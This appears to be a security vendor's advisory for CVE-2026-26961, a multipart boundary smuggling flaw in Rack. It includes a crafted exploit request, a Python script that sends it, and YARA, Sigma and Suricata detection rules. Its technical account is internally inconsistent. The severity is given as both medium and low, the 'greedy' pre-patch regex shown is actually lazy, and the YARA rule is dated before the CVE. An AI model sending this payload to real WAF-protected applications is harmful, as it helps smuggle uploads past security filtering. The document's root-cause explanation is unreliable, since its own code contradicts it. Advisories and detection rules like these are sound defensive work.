CVE-2026-26961

Executive Summary

CVE-2026-26961 is a medium-severity vulnerability in the Rack Ruby web server interface, specifically within the Rack::Multipart::Parser component. The flaw arises from a greedy regular expression used to extract the boundary parameter from multipart/form-data Content-Type headers. When multiple boundary parameters are present, Rack selects the last one, while upstream proxies, WAFs, or intermediaries typically interpret the first. This mismatch enables an attacker to smuggle malicious multipart content past security inspections, leading to request smuggling and potential data integrity compromise. The vulnerability affects Rack versions prior to 2.2.23, 3.1.21, and 3.2.6, and patches are available.

Supply Chain & Package Security

Rack is a critical dependency in the Ruby ecosystem, serving as the foundation for many web frameworks like Ruby on Rails and Sinatra. This vulnerability introduces a supply chain risk, as any application using an affected Rack version is susceptible to request smuggling. Attackers could exploit this to bypass WAF rules, inject malicious payloads, or manipulate server-side processing. Organizations must ensure their Ruby applications are updated to patched Rack versions to mitigate this risk.

CVSS Breakdown & Threat Level

• CVSS Score: 3.7 (Low)
• Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
• Attack Vector: Network (AV:N)
• Attack Complexity: High (AC:H) – Requires crafting a multipart request with multiple boundary parameters and bypassing upstream inspection.
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L) – Attacker can alter request parsing, potentially leading to data manipulation.
• Availability Impact: None (A:N)

Threat Level: Low. The high attack complexity and limited impact reduce the immediate threat, but the potential for request smuggling in critical infrastructure warrants attention.

Deep Dive & Mechanics

The vulnerability resides in Rack::Multipart::Parser, which parses multipart form data. The parser uses a regular expression to extract the boundary parameter from the Content-Type header. The flawed regex is greedy, meaning it matches the last occurrence of the boundary parameter when multiple are present. For example:

Content-Type: multipart/form-data; boundary=valid_boundary; boundary=malicious_boundary

An upstream proxy or WAF might validate the first boundary (valid_boundary), while Rack uses the last (malicious_boundary). This allows an attacker to craft a request where the proxy sees benign content, but Rack parses a different body structure, enabling smuggling of malicious payloads.

The root cause is a lack of strict parameter extraction, leading to inconsistent interpretation between Rack and upstream components. This is a classic example of HTTP request smuggling, categorized under CWE-444 (Inconsistent Interpretation of HTTP Requests).

Vulnerable vs. Patched Code

Vulnerable Code (pre-patch):

# In Rack::Multipart::Parser
def extract_boundary(content_type)
  content_type[/boundary=(.*?)(?:;|$)/, 1] || content_type[/boundary=(.*)/, 1]
end

This regex greedily matches the last boundary parameter.

Patched Code (post-patch):

# In Rack::Multipart::Parser
def extract_boundary(content_type)
  content_type[/\bboundary=([^;]+)/, 1]
end

The patched regex uses a word boundary (\b) and captures only the first boundary parameter, ensuring consistency with upstream parsers.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable Rack application (e.g., version 2.2.22) behind a WAF that validates the first boundary parameter.
2. Use a tool like curl or a custom script to send a crafted multipart request.

Exploit Payload:

POST /upload HTTP/1.1
Host: vulnerable-app.com
Content-Type: multipart/form-data; boundary=benign; boundary=malicious
Content-Length: 200

--benign
Content-Disposition: form-data; name="file"; filename="safe.txt"
Content-Type: text/plain

This is safe content.
--benign--
--malicious
Content-Disposition: form-data; name="file"; filename="malicious.exe"
Content-Type: application/octet-stream

[malicious binary data]
--malicious--

The WAF validates the first boundary (benign) and sees only safe content. Rack parses the last boundary (malicious), processing the malicious payload.

Automation Script (Python):

import requests

url = "http://vulnerable-app.com/upload"
headers = {
    "Content-Type": "multipart/form-data; boundary=benign; boundary=malicious"
}
body = (
    "--benign\r\n"
    "Content-Disposition: form-data; name=\"file\"; filename=\"safe.txt\"\r\n"
    "Content-Type: text/plain\r\n\r\n"
    "This is safe content.\r\n"
    "--benign--\r\n"
    "--malicious\r\n"
    "Content-Disposition: form-data; name=\"file\"; filename=\"malicious.exe\"\r\n"
    "Content-Type: application/octet-stream\r\n\r\n"
    "malicious data\r\n"
    "--malicious--\r\n"
)
response = requests.post(url, headers=headers, data=body)
print(response.text)

Blue Team

Detection:

• Monitor for Content-Type headers containing multiple boundary parameters.
• Log and alert on mismatches between WAF and application parsing.

Mitigation:

• Update Rack to patched versions (2.2.23, 3.1.21, 3.2.6).
• Configure WAFs to reject requests with multiple boundary parameters.
• Implement strict input validation on multipart content.

Indicators of Compromise (IOCs)

• Network: HTTP requests with Content-Type headers containing multiple boundary= parameters.
• Logs: Application logs showing unexpected multipart parsing behavior or boundary mismatches.
• File: Presence of unexpected files uploaded via multipart forms, especially with mismatched boundaries.

Detection Engineering

YARA Rule

rule CVE_2026_26961_Rack_Smuggling {
    meta:
        description = "Detects HTTP requests with multiple boundary parameters in Content-Type header"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-26961"
    strings:
        $boundary = /boundary=[^;]+;.*boundary=/ nocase
    condition:
        $boundary
}

Sigma Rule

title: CVE-2026-26961 - Rack Multipart Boundary Smuggling
id: 9a8b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with multiple boundary parameters in Content-Type header
author: Valters IT
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-content-type|contains: 'boundary='
        cs-content-type|re: 'boundary=[^;]+;.*boundary='
    condition: selection
falsepositives:
    - Legitimate use of multiple boundaries (rare)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-26961 - Rack Multipart Boundary Smuggling"; flow:to_server; http.header; content:"Content-Type"; nocase; pcre:"/boundary=[^;]+;.*boundary=/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Update Rack to versions 2.2.23, 3.1.21, or 3.2.6.
2. Short-term: Configure WAFs to reject requests with multiple boundary parameters.
3. Long-term: Implement strict input validation for multipart content and monitor for anomalous parsing behavior.
4. Detection: Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.

Valters IT Signature:
"Securing the digital frontier, one vulnerability at a time."

{/* [Security Hash: F17620F1D70E719088C05D11] */}